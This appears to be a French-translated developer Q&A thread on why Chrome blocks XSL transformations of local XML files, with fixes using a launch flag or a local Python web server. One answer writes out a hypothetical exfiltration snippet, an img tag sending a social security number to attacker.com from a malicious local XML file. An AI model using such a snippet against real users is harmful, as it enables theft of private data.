101 votes

Peut-on faire en sorte que Chrome effectue une transformation XSL sur un fichier local ?

Je me suis intéressé à xslt et j'ai commencé à faire des tests avec les exemples sur w3schools.

Cependant, lorsque j'enregistre le xml et le xsl dans des fichiers et que j'essaie de les ouvrir localement, chrome n'effectue pas la transformation xsl. Il affiche simplement une page blanche.

J'ai ajouté le <?xml-stylesheet type="text/xsl" href="style.xsl"> au document xml, et firefox le rend comme il est supposé l'être. De même, si je consulte les fichiers par l'intermédiaire d'un serveur Web, chrome affiche le fichier comme il est censé le faire.

Est-ce que chrome a un problème pour trouver les informations de la feuille de style lorsque le lien est local ? En changeant le href en file:///C:/xsl/style.xsl n'a pas fait de différence.

Mise à jour : Cela semble être un effet secondaire de la politique de sécurité. pour ne pas traiter file:///* comme une même origine. Cela fait apparaître l'erreur suivante dans la console :

Tentative non sécurisée de charger l'URL file:///C:/xsl-rpg/style.xsl à partir d'un cadre avec l'URL file:///C:/xsl-rpg/data.xml. Les domaines, protocoles et ports doivent correspondre.

1 votes

Il semble que de file: Le protocole Chrome génère la même erreur de domaine.

1 votes

Sur IE11, cela fonctionne. Chrome devient mauvais.

86voto

Zaz Points 709

La réponse courte est "Non, utilisez l'un des un ensemble varié de navigateurs dehors" .

La raison pour laquelle cela ne fonctionne pas est due à un problème de sécurité que Chrome a résolu d'une manière controversée. [1] [2] [3] [4] En effet, les fichiers XML ne peuvent pas accéder aux fichiers XSLT locaux dans le même répertoire, alors que les fichiers HTML peuvent accéder aux fichiers .CSS dans le même répertoire sans problème.

Parmi les problèmes cités ci-dessus, les utilisateurs ont demandé un message d'erreur plus clair (puisque les domaines, les protocoles et les ports correspondent en fait), ou au moins l'affichage du XML sans le style. Les développeurs de Chrome ont ignoré ces demandes.

19 votes

Alors que leur problème de sécurité est logique, les fichiers XML devraient pouvoir charger des feuilles de style XSL à partir du même répertoire, tout comme les fichiers HTML peuvent charger des images et des scripts à partir du même répertoire. Il y a un question que vous pouvez mettre en vedette mais l'équipe de développement de Chrome a interdit tout nouveau commentaire à ce sujet - bien qu'elle se soit plainte de ne pas pouvoir quantifier à quel point les utilisateurs souhaitaient un assouplissement de l'origine locale des fichiers.

1 votes

Fait intéressant : Safari sur Mac (8.0) fonctionne très bien avec XSLT local, mais Safari sur le simulateur iOS (8) (et je suppose sur iOS aussi) j'ai la même erreur que dans Chrome "Domains, protocols and ports must match.". Mais si je dois implémenter UIWebView dans l'application et charger le XML avec XSLT, tout fonctionne bien.

0 votes

Peu d'intérêt à utiliser un autre navigateur quand la tâche est de corriger un rendu xslt particulier dans les navigateurs chrome....

63voto

Jake Burton Points 323

Vous pouvez le faire localement en utilisant les indicateurs de ligne de commande de Chrome.

L'indicateur spécifique est --allow-file-access-from-files

Sous OS X : à partir de Terminal.app, exécutez /Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

Sous Windows : à partir de l'invite de commande, exécutez %LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files

Remarque : vous devrez probablement quitter Chrome s'il est en cours d'exécution, sinon Ch.

0 votes

Cela ne semble pas fonctionner pour moi sous Windows 7. J'ai trouvé chrome.exe ici : C:\Program Files (x86)\Google\Chrome\Application et la commande --allow-file-access-from-files s'exécute parfaitement, mais mon document XML local (transformé par un fichier XSLT local) ne s'affiche pas.

2 votes

Vous devez peut-être tuer tous les processus Windows en cours d'exécution pour chrome.exe dans le gestionnaire des tâches de Windows à la main. Pour moi, cela a fonctionné.

1 votes

/Applications/Google\ Chrome\ Canary.app/Contents/MacOS/Google\ Chrome\ Canary --allow-file-access-from-files a fonctionné pour moi. Évidemment, j'exécute le Chrome Canary. Après avoir exécuté cette commande, une nouvelle fenêtre Chrome devrait s'ouvrir et vous permettre d'effectuer votre transformation XSL.

28voto

morpheus Points 2391

Si vous voulez vous en tenir à l'OP, la réponse est non (comme d'autres l'ont souligné) mais une façon de résoudre le problème est d'exécuter un simple serveur web et d'ouvrir les fichiers via http dans chrome. Si vous avez installé Python 2.x, vous pouvez lancer un serveur web en tapant :

python -m SimpleHTTPServer

Ou en python 3.x :

python3 -m http.server

et ensuite ouvrir le fichier en utilisant http://localhost:8000/yourfile.xml en chrome. J'espère que vous voulez juste faire votre travail et qu'il n'est pas crucial de devoir ouvrir un fichier en utilisant la fonction file://

0 votes

C'est un vieux post, mais c'est un bon conseil ! J'ai moi-même utilisé le paquet npm http-server :)

0 votes

Il s'agit d'une solution universelle qui fonctionne sur toutes les plateformes au lieu de chercher à désactiver CORS sur différents navigateurs. Bravo !

4voto

Ian Boyd Points 50743

Il a fallu un peu de déchiffrage sur la page des bogues de Chrome - ils sont très attachés à ne pas expliquer quel est le problème, et pourquoi ils ont choisi de casser tout le monde plutôt que de ne pas casser tout le monde.

Supposons que j'ai un fichier XML - quelque part - sur mon disque dur, par exemple :

C:\Users\Ian\Documents\Taxes\StudioTaxReturn_2015.xml

Et une entité malveillante - en quelque sorte - a réussi à déposer un fichier Xml malveillant sur mon ordinateur, par exemple :

C:\Users\Ian\AppData\LocalLow\Temp\TrojanVirusWorm.xml

Imaginez TrojanVirusWorm.xml contient une feuille de style Instruction de traitement ( PI ) :

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>

L'attaquant demande ensuite à mon navigateur de naviguer vers le fichier sauvegardé localement. trojanVirusWorm.xml fichier.

Apparemment, il y a un moyen pour qu'un fichier XML puisse lire le contenu du fichier XSD (plutôt que d'être transformé par le fichier XSD) :

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
   <!--And then a miracle happens, and this XML file is able to read
       the contents of the stylesheet xml file-->
<html>
   <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>

Je ne comprends pas comment un fichier XML peut lire un fichier de feuille de style. Mais l'équipe de Chrome nous assure que c'est un danger, et qu'il ne peut être résolu.

Tous les autres navigateurs l'ont résolu. Ils l'ont résolu parce que ce n'est pas un problème .

4voto

Greg Eremeev Points 1022

Ma solution pour voir un xml en fonction d'un fichier xsl

Supposons que nous ayons un certain_file.xml avec des en-têtes :

<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
  1. Nous téléchargeons le fichier https://some-site.com/Common.xsl et le placer à côté du some_file.xml
  2. Changez une partie de notre en-tête de href="https://some-site.com/Common.xsl" à href="http://localhost:8001/Common.xsl"
  3. Exécuter dans le répertoire avec nos fichiers - python3 -m http.server 8001
  4. Ouvrir dans n'importe quel navigateur http://localhost:8001/some_file.xml

Prograide.com

Prograide est une communauté de développeurs qui cherche à élargir la connaissance de la programmation au-delà de l'anglais.
Pour cela nous avons les plus grands doutes résolus en français et vous pouvez aussi poser vos propres questions ou résoudre celles des autres.

Powered by:

X